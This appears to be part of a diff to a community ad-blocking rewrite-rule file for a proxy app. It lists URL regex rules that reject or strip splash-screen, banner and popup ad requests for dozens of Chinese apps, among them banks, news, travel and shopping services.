+^https?:\/\/app\.variflight\.com\/ad\/ reject +^https?:\/\/app\.variflight\.com\/v\d\/advert\/ reject + +# > 飞客茶馆 +# hostname = ptf.flyertrip.com, 47.100.65.202, www.flyert.com +^https?:\/\/ptf\.flyertrip\.com\/common\/cf\/.*.jpg reject-200 +^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=advis reject +^https?:\/\/www\.flyert\.com\/.*\.php\?module=advis reject-dict +^https?:\/\/www\.flyert\.com(\.cn)?\/.*\.php\?module=advis reject-dict +^https?:\/\/47\.100\.65\.202\/api\/mobile\/index\.php\?version=\d&mobile=yes&module=basicdata&type=forumlist response-body-replace-regex adv fmz200 + +# 飞智游戏厅 +# hostname = api.flydigi.com +# 开屏 需要卸载重装 +^https:\/\/api\.flydigi\.com\/android\/v2\/ad reject-dict + +# > 番茄小说 +# hostname = *.pangolin-sdk-toutiao.com, *.pangolin-sdk-toutiao.*, *.pstatp.com, *.pstatp.com.*, *.pglstatp-toutiao.com.*, *.pglstatp-toutiao.com, gurd.snssdk.com, gurd.snssdk.com.*, i-lq.snssdk.com, i-lq.snssdk.com.*, *default.ixigua.com +# 去章末广告 +^https?:\/\/.+\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/(get_ads|stats|settings)\/ reject +^https?:\/\/.+\.pglstatp-toutiao\.com\/.+\/toutiao\.mp4 reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/(ad-app-package|ad)\/.+ reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/web\.business\.image\/.+ reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/obj\/ad-pattern\/renderer reject +^https?:\/\/gurd\.snssdk\.com\/src\/server\/v3\/package reject +^https?:\/\/.+\.byteimg.com/tos-cn-i-1yzifmftcy\/(.+)-jpeg\.jpeg reject +^https?:\/\/.+\.pstatp\.com\/obj\/mosaic-legacy\/.+\?from\=ad reject +^https?:\/\/.+\.pstatp\.com\/bytecom\/resource\/track_log\/src\/.+ reject +^https?:\/\/.+\.snssdk\.com\/video\/play\/1\/toutiao\/.+\/mp4 reject +^https?:\/\/.+\.snssdk.com\/api\/ad\/.+ reject +^https?:\/\/.+\.byteimg\.com\/ad-app-package reject +^https?:\/\/.+\.byteimg\.com\/web\.business\.image reject + +# > 樊登读书 +# hostname = gateway-api.dushu365.com +^https?:\/\/gateway-api\.dushu365\.com\/chief-orch\/config\/config\/v100\/appConfig reject + +# > 丰巢 +# hostname = external.fcbox.com, dsp.fcbox.com, consumer.fcbox.com +^https:\/\/dsp\.fcbox\.com\/adSearch\/get\? reject +^https:\/\/external\.fcbox\.com\/wxgw\/post\/suggestion\/query reject +# 已无法MITM +^https?:\/\/consumer\.fcbox\.com\/v\d\/ad\/ reject + +# > 凤凰秀 +# hostname = dsa-mfp.fengshows.cn, api.fengshows.com +^https?:\/\/dsa-mfp\.fengshows\.cn\/mfp\/mfpMultipleDelivery\.do\?.+?adunitid reject +^https?:\/\/api\.fengshows\.com\/api\/launchAD reject-img + +# > 富途牛牛 +# hostname = api*.futunn.com +# 我的横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/optimus\/my-homepage-config reject-dict +# 账户和交易横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/config\/promote-config reject-dict +^https?:\/\/api\d\.futunn\.com\/ad\/ reject +^https?:\/\/api\.futunn\.com\/v\d\/ad\/ reject +# 首页右下角角标 +^https?:\/\/api\.futunn\.com\/treasure-chest\/box-data reject + +# > 分期乐 +# hostname = fm.fenqile.com +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/getfloatAd\.json reject-img +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/startImg\.json reject-img + +# > 返利网 +# hostname = l*.51fanli.net +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/0[4-9]{1}\/.*.jpg reject-200 +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/1[0-2]{1}\/.*.jpg reject-200 +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/202\d{1}\/\d{2}\/.*.jpg reject-200 + +# > 发现精彩 +# hostname = static.95508.com +# 开屏广告 +^https?:\/\/static\.95508\.com\/mmg\/images\/ads\/.+\/(.+1125?.+2436|.+%.+%|.+_.+_) reject-dict +^https?:\/\/static\.95508\.com\/mmg\/ciop\/sysabbr\/cmep\/images\/apppopupads reject-dict + +# > 福享太平 +# hostname = ecloud.tppension.cntaiping.com +# 去开屏广告 +^https:\/\/ecloud\.tppension\.cntaiping\.com\/fxtpplatform\/common\/anonymous\/common\/page\/queryStartPageNew\?language=zh-CN reject-dict + + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > 光大银行 +# hostname = mobile.cebbank.com, yghsh.cebbank.com +^https?:\/\/mobile\.cebbank\.com\/cebclient\/ClientNoticeList reject-200 +# > 光大银行 阳光惠生活 +^https?:\/\/yghsh\.cebbank\.com\/static\/picture\/.*.jpg reject-200 + +# > 工商银行 +# hostname = v.icbc.com.cn +# 如开启可自行添加主机名 +^https?:\/\/v\.icbc\.com\.cn\/userfiles\/Resources\/WAP\/advertisement\/ reject-200 + +# > 工银E生活 +# hostname = pv.elife.icbc.com.cn +^https?:\/\/pv\.elife\.icbc\.com\.cn\/OFSTPV\/utm\.gif reject-200 + +# > 工银e生活小程序 +# hostname = elife.icbc.com.cn +# 如开启可自行添加主机名 +^https?:\/\/elife\.icbc\.com\.cn\/OFSTNEWBASE\/floorinfo\/getMantlePages\.do reject-200 + +# > 广发银行 +# hostname = static.95508.com, mps.95508.com +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/accurate\/202\d{5}\/.*.(png|jpg) reject-200 +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/advertising\/202\d{5}\/.*.(png|jpg) reject-200 +^https?:\/\/mps\.95508\.com\/mps\/club\/cardPortals\/adv\/\d{25}\.(png|jpg) reject-img + +# > 广州农商银行 +# hostname = mbank.grcbank.com +^https?:\/\/mbank\.grcbank\.com\/ydyh\/resources\/startpage\/.*.(jpg|png) reject-200 + +# > 广汽传祺 +# hostname = gsp.gacmotor.com +# 开屏广告 感谢【Charlie】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/webapi\/baseinfo\/advertise\/getAdvertiseByPositionCode\?positionCode=1 reject-dict +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/app-api\/app\/version\/latestupdate\?flatform=2&innerVersion= reject-dict + +# > 国泰君安 +# hostname = dl.app.gtja.com, dl*.app.gtja.com +^https?:\/\/dl\.app\.gtja\.com\/dzswem\/kvController reject-200 +#^https?:\/\/dl[0-9]{1}\.app\.gtja\.com\/dzswem\/kvController reject-200 + +# > 国家医保服务平台 +# hostname = fuwu.nhsa.gov.cn +# 开屏广告 +^https?:\/\/fuwu\.nhsa\.gov\.cn\/ebus\/fuwu\/api\/base\/cms\/iep\/web\/cms\/hmpgcfg\/queryAppHmpgCfgByApp reject + +# > 高德地图 +# hostname = m*.amap.com, optimus-ads.amap.com +^https?:\/\/m5\.amap\.com\/ws\/shield\/dsp\/app\/startup\/init\? reject-dict +^https?:\/\/m5\.amap\.com\/ws\/valueadded\/ reject +^https?://optimus-ads.amap.com/uploadimg/[a-zA-Z0-9]+.gif reject-200 + +# > 谷歌 +# hostname = *.googleapis.com, pagead2.googlesyndication.com +# 如开启可自行添加主机名,但似乎已不可MITM +^https?:\/\/.+\.googleapis.com/.+ad_break reject-img +^https?:\/\/.+\.googleapis.com/.+log_event reject-img +^https?:\/\/.+\.googleapis.com/adsmeasurement reject-img +^https?:\/\/pagead2\.googlesyndication\.com\/pagead\/ reject-img + +# > 挂号网(微医) +# hostname = kano.guahao.cn, app.wy.guahao.com +^https?:\/\/kano\.guahao\.cn\/[a-zA-Z0-9]{12} reject-200 +^https?:\/\/kano\.guahao\.cn\/.+?\?resize=\d{3}-\d{4} reject-img +^https?:\/\/app\.wy\.guahao\.com\/json\/white\/dayquestion\/getpopad reject + +# > 国美电器 +# hostname = prom.mobile.gome.com.cn +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/\w+\.jsp reject +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/sale\w+\.jsp reject + +# > 故宫博物馆小程序 +# 开屏广告 +^https?:\/\/gugongmini\.dpm\.org\.cn\/gugong_applet\/open-screen reject-dict + +# > 怪兽充电 +# hostname = awg.enmonster.com +https?:\/\/awg\.enmonster\.com\/apa\/(advert\/demand\/home\/poster|index\/advert\/skin) reject-dict + +# > 盖得排行 +# hostname = zone.guiderank-app.com +^https?:\/\/zone\.guiderank-app\.com\/guiderank-web\/app\/ad\/listLaunchADByCity\.do reject + +# > 冠寓 +# hostname = guanyu.longfor.com +# 开屏广告 +^https?:\/\/guanyu\.longfor\.com\/app-server\/api\/v1\/main\/start reject + +# > 广汽本田 +# hostname = gha.ghac.cn +# ^https?:\/\/gha\.ghac\.cn\:8081\/base\/app\/api\/ad\/query\?adType=1 reject-dict + +# > 怪兽充电 微信小程序 +# hostname = aag.enmonster.com +^https?:\/\/aag\.enmonster\.com\/apa\/index\/advert\/skin reject + +# > 工时记录 +# hostname = yun.tuitiger.com, mi.gdt.qq.com, open.e.kuaishou.com +^https?:\/\/yun\.tuitiger\.com\/mami-media reject-200 +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg reject +^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ reject + +# > 高铁管家 +# hostname = cdn.133.cn, jt.rsscc.com, jp.rsscc.com +^https?:\/\/cdn\.133\.cn\/md\/gtgj\/.+\/.+720x1280 reject-dict +^https?:\/\/[a-z]*\.rsscc\.com\/[a-z]*\/adver reject + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > 哈富证券 +# hostname = emisdatacenteraws.hafoo.com +# 横幅广告 +^https:\/\/emisdatacenteraws\.hafoo\.com\/ad\/api\/v2\/appMarket reject-dict + +# > 华彩生活 +# hostname = static.creditcard.hxb.com.cn +^https?:\/\/static\.creditcard\.hxb\.com\.cn\/mcube\/apps\/group\d\/M00\/00\/2[A-Z0-9]{1}\/amRG7WO.+\.jpg reject-200 + +# > 华尔街见闻 +# hostname = api-one-wscn.awtmt.com, api.wallstreetcn.com +# 开屏广告 感谢【Joe Joy】分享 +^https?:\/\/api-one-wscn\.awtmt\.com\/apiv1\/advertising\/ads\/[0-9]+\/materials reject-dict +^https?:\/\/api\.wallstreetcn\.com\/apiv\d\/advertising\/ reject + +# > 虎牙直播 +# hostname = cdn.wup.huya.com, business.msstatic.com, cdnfile1.msstatic.com, live-ads.huya.com +^https?:\/\/cdn\.wup\.huya\.com\/launch\/queryHttpDns$ reject +^https?:\/\/business\.msstatic\.com\/advertiser\/material reject +^https?:\/\/cdnfile1\.msstatic\.com\/cdnfile\/appad\/ reject-img +^https?://live-ads\.huya\.com/live/getAllEntrance.*$ reject-dict + +# > 华住会 +# hostname = appapi.huazhu.com, hweb-hotel.huazhu.com, hweb-manager.huazhu.com +# 开屏广告 +^https?:\/\/appapi\.huazhu\.com:\d+\/client\/app\/getAppStartPage\/ reject +# 推荐信息 +^https?:\/\/hweb-hotel\.huazhu\.com\/home\/queryRecommond reject-dict +# 新客专享: queryNewNotice | 天天特惠四方格: querySelectHotel | 华住品牌: queryHotelBrand | 华住商城: queryMall | 华住世界: huazhuWorld +^https?:\/\/hweb-hotel\.huazhu\.com\/{1,2}home\/(?>queryNewNotice|querySelectHotel|queryHotelBrand|queryMall|huazhuWorld) reject-200 +# 弹窗广告 +^https?:\/\/hweb-manager\.huazhu\.com\/notice\/getAppPopupNotifyAlert reject-dict +# 更新屏蔽 +^https?:\/\/hweb-manager\.huazhu\.com\/bundle\/upgrade\/check reject-dict +# 搜索酒店上方Banner +^https?:\/\/hweb-manager\.huazhu\.com\/hotels\/ad\/ reject-dict + +# > 韩剧TV +# hostname = gfp.veta.naver.com, api.hanju.koudaibaobao.com +^https?:\/\/gfp\.veta\.naver\.com\/adcall\? reject +^https?:\/\/api\.hanju\.koudaibaobao\.com\/api\/carp\/kp\? reject + +# > 好奇心日报 +# hostname = notch.qdaily.com, app3.qdaily.com +^https?:\/\/notch\.qdaily\.com\/api\/v\d\/boot_ad reject +^https?:\/\/app3\.qdaily\.com\/app3\/boot_advertisements\.json reject + +# > 好好住 +# hostname = api.haohaozhu.cn +^https?:\/\/api\.haohaozhu\.cn\/index\.php\/home\/AppInit\/getStartPhoto reject + +# > 火猫 +# hostname = api.huomao.com +^https?:\/\/api\.huomao\.com\/channels\/loginAd reject + +# > 花生地铁 +# hostname = cmsapi.wifi8.com, cmsfile.wifi8.com +^https?:\/\/cmsapi\.wifi8\.com\/v\d\/(emptyAd|adNew)\/ reject +^https?:\/\/cmsfile\.wifi8\.com\/uploads\/png\/ reject-img + +# > 花小猪 +# hostname = res.hongyibo.com.cn +# 开屏 +^https?:\/\/res\.hongyibo\.com\.cn\/os\/gs\/resapi\/activity\/mget\?_t reject-dict + +# > 虎扑 +# hostname = games.mobileapi.hupu.com, du.hupucdn.com, i*.hoopchina.com.cn, goblin.hupu.com +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(interfaceAdMonitor|interfaceAd)\/ reject +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(search|interfaceAdMonitor|status|hupuBbsPm)/(hotkey|init|hupuBbsPm)\. reject-img +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/status\/init reject +^https?:\/\/games\.mobileapi\.hupu\.com\/\d\/(?:\d\.){2}\d\/status\/init reject +^https?:\/\/du\.hupucdn\.com\/\w+h\d{4} reject-img +^https?:\/\/i\d\.hoopchina\.com\.cn/blogfile\//d+\//d+\/BbsImg\.(?<=(big.(png|jpg)))$ reject-img +^https?:\/\/goblin\.hupu\.com\/.+\/interfaceAd\/getOther reject +^https?:\/\/i1\.hoopchina\.com\.cn\/blogfile\/.+_\d{3}x\d{4} reject-img + +# > 杭州市民 +# hostname = ads.iconntech.com, smkmp.96225.com +^https?:\/\/ads\.iconntech\.com\/resource-delivery\/*\/.*.(jpg|png) reject-200 +^https?:\/\/smkmp\.96225\.com\/smkcenter\/ad/ reject + +# > 杭州公交 +# hostname = m.ibuscloud.com +^https?:\/\/m\.ibuscloud\.com\/v\d\/app\/getStartPage reject + +# > 红版报 +# hostname = fbchina.flipchina.cn +^https?:\/\/fbchina\.flipchina\.cn\/v\d\/ad\/query reject + +# > 虎嗅 +# hostname = api-ad-product.huxiu.com +^https?:\/\/api-ad-product\.huxiu\.com\/Api\/Product\/SDK\/Advert\/Query\/queryAdvertListInfo reject + +# > 黄油相机 +# hostname = api4.bybutter.com +^https?:\/\/api4\.bybutter\.com\/v\d\/app\/placements\/\d\/advertisements reject + +# > 华宝智投 +# hostname = api.touker.com +^https?:\/\/api\.touker\.com\/v2\/IAdvertisementAPI\.queryStartAdvertisement reject-200 + +# > 航旅纵横 +# hostname = home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com +^http?:\/\/(discardrp|startup)\.umetrip\.com\/gateway\/api\/umetrip\/native reject + +# > 汇丰汇选 +# hostname = m.prod.app.hsbcfts.com.cn +# 屏蔽升级弹窗 感谢【Charlie】分享 +^https?:\/\/m\.prod\.app\.hsbcfts\.com\.cn\/api\/sapp\/biz\/config\/open\/queryappversion\?channelCode= reject-dict + +# > 和风天气 +# hostname = hfapp-service.qweather.net +# 感谢【可莉】分享 +^https?:\/\/hfapp-service\.qweather\.net\/v\d\.\d\/app\/ad\/list\? reject-dict + +# > 合利宝展业通 +# hostname = promote-trx.helipay.com +^https?:\/\/promote-trx\.helipay\.com\/promote-business-client\/pos\/appAdvertisement\/appAdvertisementList reject-200 + +# > 盒马 +# hostname = acs.m.taobao.com, acs-m.freshippo.com +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.hippotown\.tabbar\.info reject +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.sg\.querysinglescene reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.querysinglepage reject-200 +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.fc\.recommend\.feedscommondservice reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.crm\.platform\.ma\.recommend reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.mimir\.recommend\.after\.purchase\.activity reject-dict + +# > 海豚优惠 +# hostname = *.townmalls.cn +^https?:\/\/.*\.townmalls\.cn:1890\/mossapi\/mossp\.BannerManager\/activityList.* reject + +# > 海尔服务小程序 +# hostname = service.haiersmarthomes.com +# 横幅广告 +^https?:\/\/service\.haiersmarthomes\.com\/management\/banner\/getBannerList\?source=4 reject-dict + +# > 好型体重秤 +# hostname = open.fitdays.cn +^https?:\/\/open\.fitdays\.cn\/uploads\/ad\/ reject + +# > 横店电影小程序 +# 开屏广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/1 https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/hengdian.json 302 +# 顶部横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/2\?cid= reject-dict +# 中间横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/4\?cid= reject-dict + +# > 海马爸比 +# hostname = 39.98.135.211 +^https?:\/\/39\.98\.135\.211\/admin\/filter\/crowdFunding\/getNewProductData reject-dict +^https?:\/\/39\.98\.135\.211\/admin\/filter\/advert\/getAdvertLists reject-dict + +# > 嗨学 +# hostname = www.haixue.com +# 屏蔽开屏广告 +^https:\/\/www\.haixue\.com\/advert\/app\/adInfo\/v1\/queryAdByPositionCode reject-dict + + + +# >>>>>>>>>>>>>>> ✅ I ✅ <<<<<<<<<<<<<< +# > i3 +# hostname = www.i3zh.com +# 如开启可自行添加主机名 +^https?:\/\/www\.i3zh\.com response-body-replace-regex cm-pop-up-banners fmz200 + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > 吉林银行 +# hostname = cdn.jlbank.com.cn +^https?:\/\/cdn\.jlbank\.com\.cn\/jlstaticresource\/APPSTART reject-200 + +# > 江苏银行 +# hostname = mbank5.jsbchina.cn +# 可能导致登录验证码不显示 +^https?:\/\/mbank5\.jsbchina\.cn:443 reject-dict + +# > 建行生活 +# hostname = yunbusiness.ccb.com, g.alicdn.com, waimai-guide.ele.me +# 首页横幅广告 +^https?:\/\/yunbusiness\.ccb\.com\/clp_service\/txCtrl\?txcode=A3341A(002|006|009|119|120) reject-200 +^https?:\/\/yunbusiness\.ccb\.com\/clp_service\/txCtrl\?txcode=A3341C147 reject-200 +# 我的页面悬浮广告 +^https?:\/\/yunbusiness\.ccb\.com\/basic_service\/txCtrl\? response-body-replace-regex "TAG_AD_INFO" "fmz200" +# 内置饿了么 +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.eleme\.\w+\.trigger\.respond reject-dict +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.wamai\.store\.detail\.miniapp\.popup reject +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopcouponpopupservice\.getshopcouponspopup reject +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopresourceservice\.getshopresource response-body-replace-regex posterList fmz200 + +# > 简讯 +# hostname = api.tipsoon.com +^https?:\/\/api\.tipsoon\.com\/api\/v1\/top\/ad reject-img + +# > 金山词霸 +# hostname = dict-mobile.iciba.com, mobile-pic.cache.iciba.com, service.iciba.com, *.kingsoft-office-service.com +^https?:\/\/dict-mobile\.iciba\.com\/interface\/index\.php\?.+(c=ad|collectFeedsAdShowCount|KSFeedsAdCardViewController) reject +^https?:\/\/mobile-pic\.cache\.iciba\.com\/feeds_ad\/ reject +^https?:\/\/service\.iciba\.com\/popo\/open\/screens\/v\d\?adjson reject-200 +^https?:\/\/\w+?\.kingsoft-office-service\.com\/ad reject-200 +^https?:\/\/.+?\.kingsoft-office-service\.com reject + +# > 京东 +# hostname = api.m.jd.com, dns.jd.com +# 禁京东直播小窗 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=getWidgetV1052 reject + +# > 京东健康 +# hostname = m.360buyimg.com +^https?:\/\/m\.360buyimg\.com\/babel\/jfs\/t1\/[0-9]{6}\/[0-9]{2}\/[0-9]{5}\/[0-9]{6}\/.*.jpg reject-200 + +# > 京喜 +# hostname = api.m.jd.com +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_advertising response-body-replace-regex jdLiteAdvertisingVO fmz200 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_SmartPush response-body-replace-regex pushData fmz200 + +# > 京东金融 +# hostname = m.360buyimg.com, api.m.jd.com, bdsp-x.jd.com, dsp-x.jd.com, ms.jr.jd.com, appconf.mail.163.com, support.you.163.com +^https?:\/\/m.360buyimg\.com\/mobilecms\/s1125x2436_jfs\/ reject-200 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=start reject-img +^https?:\/\/(bdsp-x|dsp-x)\.jd\.com\/adx\/ reject-200 +^https?:\/\/ms\.jr\.jd\.com\/gw\/generic\/aladdin\/(new)?na\/m\/getLoadingPicture reject +^https?:\/\/appconf\.mail\.163\.com\/mmad\/ reject +^https?:\/\/support\.you\.163\.com\/xhr\/boot\/getBootMedia\.json reject + +# > 京东读书 +# hostname = jdread-api.jd.com +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/channel\/module\/opens reject-200 +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/popup reject-200 + +# > 京东云无线宝 +# hostname = router-app-api.jdcloud.com +^https?:\/\/router-app-api\.jdcloud\.com\/v\d\/board\/routerAppSplash reject-200 + +# > 界面新闻 +# hostname = img.jiemian.com +^https?:\/\/img\.jiemian\.com\/ads\/ reject + +# > 驾校一点通 +# hostname = richmanrules.ksedt.com, api.jxedt.com, richmanapi.jxedt.com +# 开屏广告 感谢【jinlvei】分享 +^https?:\/\/richmanrules\.ksedt\.com\/intellectWaterfall(Bidding)?\/find reject +^https?:\/\/richmanapi\.jxedt\.com\/api\/(ad|adplus|banadplus)\/ reject-200 +^https?:\/\/api\.jxedt\.com\/ad\/ reject +^https?:\/\/api\.jxedt\.com\/jump\/EMiCcDNp reject-img +^https?:\/\/richmanmain\.jxedt\.com\/advertisement\/fallback reject-img + +# > 驾考宝典 +# hostname = *.kakamobi.cn, smart.789.image.mucang.cn +^https?:\/\/\w+\.kakamobi\.cn\/api\/open\/v\d\/advert-sdk\/ reject +^https?:\/\/789\.kakamobi\.cn\/.+adver reject-img +^https?:\/\/smart\.789\.image\.mucang\.cn\/advert reject-img + +# > 金十数据 +# hostname = jad-api.jin10.com +# 开屏广告和应用内弹窗 +^https?:\/\/jad-api\.jin10\.com\/ad reject + +# > 今日头条 +# hostname = p*.pstatp.com +# 感谢【Jörgen Frecht】分享 +^https?:\/\/p\d\.pstatp.com\/origin reject +^https?:\/\/pb\d\.pstatp.com\/origin reject + +# > 今日水印相机 +# hostname = api.sogaha.cn +^https?:\/\/api\.sogaha\.cn\/ssp\/ad\/get\?ip reject-dict + +# > 加油广东 +# hostname = img.gdoil.cn +^https?:\/\/img\.gdoil\.cn\/upload\/ad\/.*.(jpg|png) reject-200 + +# > 韭菜公社 +# hostname = jiucaigongshe.oss-cn-beijing.aliyuncs.com +# 开屏广告干净了,有小部分误杀 +#^https?:\/\/jiucaigongshe\.oss-cn-beijing\.aliyuncs\.com\/.*.png reject-200 +# 开屏倒计时还在,没有误杀 +#^https?:\/\/jiucaigongshe\.oss-cn-beijing\.aliyuncs\.com\/[A-Z0-9]{8}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{12}\.png reject-200 + +# > 机核网 +# hostname = www.gcores.com +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/www\.gcores\.com\/gapi\/v1\/app-start-pages\?page reject-dict + +# > 街电 微信小程序 +# hostname = s.jiediankeji.com +^https?:\/\/s\.jiediankeji\.com\/adv reject-dict + +# > 极简汇率 +# hostname = explorer.tratao.com +^https?:\/\/explorer\.tratao\.com\/api\/client\/v4\/xtransfer\/ad\/ reject + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > Keep +# hostname = api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com +^https?:\/\/static1\.keepcdn\.com\/ark_optimus\/202\d\/*\/*\/.*.(png|jpg) reject-200 +# 屏蔽应用内弹窗 +^https?:\/\/api\.gotokeep\.com\/guide-webapp\/v\d\/popup\/getPopUp reject +# 屏蔽部分启动弹窗 +^https?:\/\/api\.gotokeep\.com\/kprime\/v\d\/popups\/primeGuide reject +# 屏蔽开屏广告请求 +^https?:\/\/kad\.gotokeep\.com\/op-engine-webapp\/v\d\/ad reject +# 屏蔽青少年弹窗 +^https?:\/\/api.gotokeep.com/cauchy/growth/init reject +# 屏蔽搜索栏自动填充词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/default\/keyword\/list reject +# 屏蔽热词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotword\/list reject +# 屏蔽hotCourse +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotCourse\/list reject +# 屏蔽adwebapp +^https?:\/\/api\.gotokeep\.com\/op-engine-webapp\/v\d\/ad reject +# 屏蔽广告预加载 +^https?:\/\/api\.gotokeep\.com\/ads\/v\d\/ads\/preload reject +# 屏蔽adbox +^https?:\/\/api\.gotokeep\.com\/training\/box\/config reject +# 屏蔽更新 +^https?:\/\/api\.gotokeep\.com\/anno\/v\d\/upgrade\/check reject + +# > 快看 +# hostname = api.kkmh.com +^https?:\/\/api\.kkmh\.com\/v\d\/ad\/show reject-200 +^https?:\/\/api\.kkmh\.com\/v\d\/advertisement\/ reject-200 + +# > 酷我音乐 +# hostname = audiobookpay.kuwo.cn, mgxhtj.kuwo.cn, nmobi.kuwo.cn, searchrecterm.kuwo.cn, musicpay.kuwo.cn, vip1.kuwo.cn +# 广告 +^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p\?op=get_advertright_endtime reject-dict + +# > 看天下 +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/index\/loading_ad reject +^https?:\/\/open3\.vistastory\.com\/v\d\/api.*get_popup reject + +# > 看理想 +# hostname = api.vistopia.com.cn +^https?:\/\/api\.vistopia\.com\.cn\/api\/v\d\/home\/advertisement reject + +# > 看东方 +# hostname = bp-api.bestv.com.cn +# 开屏广告 感谢【树先生】分享 +^https:\/\/bp-api\.bestv\.com\.cn\/cms\/api\/free\/open\/advertisingV2 reject-dict + +# > 快递100 +# hostname = p.kuaidi100.com,video-dsp.pddpic.com,t-dsp.pinduoduo.com,images.pinduoduo.com +^https?:\/\/cdn\.kuaidi100\.com\/images\/open\/appads reject-img +^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do reject +^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ response-body-json-del adsplash adIsConsumable adProductId nologin_tips index_banner me_banner index_banner_shadow adshongbao adsapp_homepage_ticket_pop adsoptimizationsend adsapp_activity_ad_array adbanner adposition adShowAgainTime +^https?:\/\/p\.kuaidi100\.com\/apicenter\/xcx\.dox response-body-json-del data.secondMenuList +^https?:\/\/p\.kuaidi100\.com\/advertisement\/ reject-dict +^https?:\/\/p\.kuaidi100\.com\/e-commerce\/act\/actInfo\? reject-dict +^https?:\/\/p\.kuaidi100\.com\/apicenter\/card\.dox reject-dict +^https:\/\/video-dsp\.pddpic\.com\/market-dsp-video\/ reject +^https:\/\/t-dsp\.pinduoduo\.com\/dspcb\/i\/mrk_union reject +^https:\/\/images\.pinduoduo\.com\/mrk\/ reject +^https:\/\/images\.pinduoduo\.com\/marketing_api\/ reject + +# > 开源中国 +# hostname = www.oschina.net +^https?:\/\/www\.oschina\.net\/action\/apiv2\/get_launcher reject-img + +# > 口袋校园 +# hostname = pocketuni.net +^https?:\/\/pocketuni\.net\/\?app=api&mod=Message&act=ad reject-200 + +# > 考公雷达/公考雷达 +# hostname = api.gongkaoleida.com +^https?:\/\/api\.gongkaoleida\.com\/api\/v2\/ad\/info reject-dict + +# > 酷安 +# hostname = api.coolapk.com +# ^https?:\/\/api\.coolapk\.com\/v6\/search\?.*type=hotSearch reject-dict + +# > 肯德基 +# hostname = res.kfc.com.cn +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome5\/apphome reject-200 +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome6\/\w+\.json\? reject-dict +^https?:\/\/res\.kfc\.com.\cn\/advertisement\/ reject + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > Line +# hostname = a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me +https:\/\/a\.line\.me\/er\/lads\/v\d\/ei\? reject-img 